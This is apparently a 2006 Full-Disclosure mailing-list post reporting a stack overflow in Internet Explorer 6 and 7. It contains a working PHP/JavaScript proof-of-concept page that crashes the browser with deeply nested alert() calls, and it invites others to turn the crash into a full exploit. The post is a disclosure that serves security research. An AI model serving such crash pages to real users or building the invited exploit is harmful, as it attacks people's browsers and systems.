full-disclosure - Internet Explorer 6.x Stack Overflow

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Message-ID: <ffa3f0850611260212w1e56558eiccbaa57f4fcc3633@mail.gmail.com>
Date: Sun, 26 Nov 2006 11:12:25 +0100
From: Adriaan <adriaangraas@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Internet Explorer 6.x Stack Overflow

IE 6.x Stack Overflow

It is tested on IE7 and serveral versions of IE6, though not below 6.
In some cases the browser does not crash but displays a Run-time
memory full error.
This happens when Windows does not have SP2 - but I didn't test it thoroughly.

/* ie_stack.php */
<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd ">
<html>
<head>
  <meta http-equiv="content-type" content="text/html;charset=UTF-8" />
  <title>Internet Explorer 6.x Stack Overflow</title>
</head>
<body>
<div style="width:400px;padding:10px;margin:10px;border:1px dashed silver;">
<p>
Copyright &copy; Adriaan Graas<br />
Internet Explorer 6.x Stack Overflow
</p>
<p>
Change the amount of code by changing the <tt>GET j</tt> variable in
the url, f.e. <tt>index.php?j=10000</tt>.
</p>
<script language="JavaScript">
<!--
<?php
if(!isset($_GET['j'])) $_GET['j']=10000;
if($_GET['j'] < 1000000){
for($i=0;$i<$_GET['j'];$i++){ echo"alert(alert("; }
for($i=0;$i<$_GET['j'];$i++){ echo"))"; }
}else{
 echo"document.write(\"Sorry, <tt>j >= 1000000</tt> is not allowed.\");";
}
?>
// -->
</script>
</div>
</body>
</html>
/* End of file */

This script is also hosted here:
http://www.pc1337.nl/iestack/iestack.php?j=10000.

The php can easily be rewritten to javascript or vbscript.
In fact, you can use functions different than alert() to overflow the stack.
I am not experienced enough to exploit this. It would be nice if
someone works this out. More tests are also welcome.

Adriaan Graas

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